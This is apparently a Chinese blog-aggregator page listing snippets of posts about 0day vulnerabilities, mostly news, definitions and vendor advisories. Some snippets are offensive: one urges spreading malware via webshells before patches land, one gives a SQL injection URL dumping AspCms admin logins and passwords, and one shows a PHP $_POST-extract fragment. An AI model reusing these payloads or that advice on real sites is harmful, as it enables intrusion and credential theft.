不知道是不是国内首发.17号在ST核心群拿到的，18号在虚拟机2003SERVER ie7 测试成功。不过免杀做的不好一样被杀。趁国内没有大规模更新补丁之前，在webshell上大肆放马，命中率还是挺高的。下面是生成后的页面代码,其他文件就不发了.大家有兴趣可以看下---------------------------------------------------生成器代码不发了。希望开始发的几
转载
精选
2012-07-05 11:30:34
2161阅读
来源：坏狼安全网// 允许程序在 register_globals = off 的环境下工作$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extra
原创
2007-11-26 18:21:20
10000+阅读
3评论
0day是指那些没有公开因而也没有补丁的漏洞。也就是通常所说的“未公开漏洞”
http://news.ccw.com.cn/internet/htm2009/20090531_633200.shtml
5月31日消息，微软公司近日发布安全建议（971778），证实Windows XP等操作系统存在一个“DirectShow视频开发包”高风险的安全漏洞。一旦该0d
转载
精选
2009-05-31 23:23:39
2125阅读
在网络安全中，0day漏洞和1day漏洞是两个常见的概念，它们是指存在于软件、系统或服务中的安全漏洞，但两者的重要区别在于被发现后的时间点和对应的利用情况。接下来我将详细解释这两个漏洞的概念，以及如何实现它们的利用。
首先，我们需要了解两个概念的定义：
- 0day漏洞：指已被黑客发现但厂商尚未发布修复补丁的漏洞。这种漏洞对于系统或软件的安全构成极大的威胁，因为攻击者可以利用它进行未经授权的攻
一、事件分析： DSW Lab
AVERT小组监测到一个高度危险讯雷漏洞被曝光，该漏洞发生在Web迅雷的一个控件上，当安装了Web迅雷的用户在浏览黑客精心构造的包含恶意代码的网页后，会下载任意程序在用户系统上以当前用户上下文权限运行。 Web迅雷1.7.3.109版之前的版本均受影响。 根据BCT组织分析，该漏洞产生细节如下： WEB讯雷
转载
精选
2007-06-02 08:48:48
873阅读
以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.
转载
2010-01-17 13:57:49
681阅读
admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user&n
转载
精选
2014-11-03 19:21:44
10000+阅读
前一篇文章提到发现一个可疑WORD 0Day的攻击程序，还同时从网警手里搞到个在DOC文档上捆绑这个攻击代码的程序。
研发应急分析了这个漏洞。结果如下：该漏洞的表象为一个危害严重的Word文档格式漏洞，一个有漏洞的文件在被鼠标点击或移动时就会触发。目前拿到的试验文件的情况是：
1.构造的文档能够发生错误，造成Explorer.exe崩溃2.还未添加ShellCode，没有进行文件释放或下载
原创
2007-03-08 21:55:00
1012阅读
昨天朋友让帮忙删除一个负面信息，看了看目标系统，是discuz x2的，貌似最近也没有爆出什么0day，大牛手中的0day也不放出来，呵呵。放弃了目标站，看了一下分站，全部是动易的，我勒了个去，尝试了一些比较弱智的漏洞，没有什么进展，无奈，只好百度搜索一下，未果，试试旁注吧，发现旁站也大部分是动易的，管理认证码没有办法搞定，没办法啊，继续找，终于发现了一个不是动易的站点，也不知道是什么系统的，后台
转载
2011-11-24 22:58:47
979阅读
报告编号：B6-2021-050801报告来源：360CERT报告作者：360CERT更新日期：2021-05-080x01 简述近期360安全大脑在全网范围内侦测到多起针对Apple产品的高级威胁，影响最新的iOS、macOS系统，最新的iPhone手机和苹果电脑无法防御相关。
转载
2022-02-11 10:57:52
93阅读
在报纸上看到xx又爆出0day漏洞是什么意思？ day漏洞，是已经发现但是官方还没发布补丁的漏洞。 信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。 http://baike.baidu.com/view/1123216.htm
转载
2016-07-10 17:29:00
122阅读
2评论
微软Exchange Server 0Day漏洞
2022 年 9 月 30 日更新：Microsoft 正在调查两个报告的影响 Microsoft Exchange Server 2013、Exchange Server 2016 和 Exchange Server 2019 的零日漏洞。第一个漏洞被识别为CVE-2022-41040，是一个服务器端请求伪造 (SSRF) 漏洞，另一个是标识为CVE-2022-41082，访问 PowerShell 时允许远程代码执行 (RCE)。
原创
2022-10-01 23:08:59
481阅读
3图
附：名词解释 “0day漏洞”，是指安全补丁发布前被外界掌握的有关操作系统或第三方软件的漏洞信息。
原创
2009-06-01 09:09:33
909阅读
1评论
报告编号：B6-2021-050801报告来源：360CERT报告作者：360CERT更新日期：2021-05-080x01 简述近期360安全大脑在全网范围内侦测到多起针对Apple产品的高级威胁，影响最新的iOS、macOS系统，最新的iPhone手机和苹果电脑无法防御相关。360高级威胁研究院在确定的严重性后，第一时间将相关细节通知了苹果公司，苹果公司已于4月26日开始至5月陆续发布安全补丁修复相关0day，并安全公告致谢360安全团队。通过该者可以精心.
转载
2021-06-18 14:22:12
426阅读
# Java 0day漏洞科普
## 引言
在计算机安全领域，0day漏洞是指恶意攻击者利用尚未被软件开发者或供应商发现的软件安全漏洞。本文将介绍Java 0day漏洞的相关概念，以及如何预防和修复这些漏洞。
## 什么是Java 0day漏洞？
Java是一种广泛应用于跨平台开发的编程语言。由于Java应用程序可以在不同的操作系统和硬件上运行，因此它成为恶意攻击者攻击的目标之一。Java
原创
2023-08-07 14:49:13
35阅读
Sophos今天公布了一个新的Windows 0day漏洞，该漏洞允许应用程序提升权限到“系统”等级，从而绕过Vista和Windows 7的用户帐户控制（UAC）。该漏洞发生于Win32k.sys中的一个错误，这是Windows内核的一部分，该缺陷关系到一个特定的注册表键值，可以使攻击者伪造系统账户，并无限制地访问所有的Windows组件，该安全漏洞似乎影响所有的Windows版本，但并不会允许
转载
2011-09-24 00:04:00
87阅读
2评论
金山网盾监测到一个新的0day漏洞，这是一个基于Windows系统帮助中心程序的0day漏洞，它是由于帮助中心程序进行格式处理时调用hcp协议的一个错误引起的。攻击者利用这个漏洞可以在用户的电脑上执行任意一个已有程序，比如说一个木马。或者控制用户的浏览器去访问别的某些网址。
不过，广大用户对这一0day漏洞不必过于恐慌，该漏洞仅影响Windows XP和Windows 2003，且目前的恶意代码
原创
2010-06-12 12:53:00
528阅读
IE浏览器再现新0day漏洞，该漏洞可能允许远程执行代码，黑客利用该漏洞可以制造一个特别的页面，再通过电子邮件、IM消息或其它欺骗的方式，诱使用户访问这个特殊的页面而触发。一 漏洞发展： 2010.3.10 微软发布安全广告981374，并表示要发布额外补丁修复该漏洞（通常情况下，微软只有特别严重的安全漏洞才会启动额外补丁发布流程。）二、漏洞简述：此IE新漏洞存在于iepeers.
原创
2010-03-10 15:20:00
470阅读
网站安全云检测这不是腾讯公司的官方邮件。 为了保护邮箱安全，内容中的图片未被显示。 显示图片 信任此发件人的图片 网站安全云检测这不是腾讯公司的官方邮件。 为了保护邮箱安全，内容中的图片未被显示。
转载
2017-04-17 19:17:00
74阅读
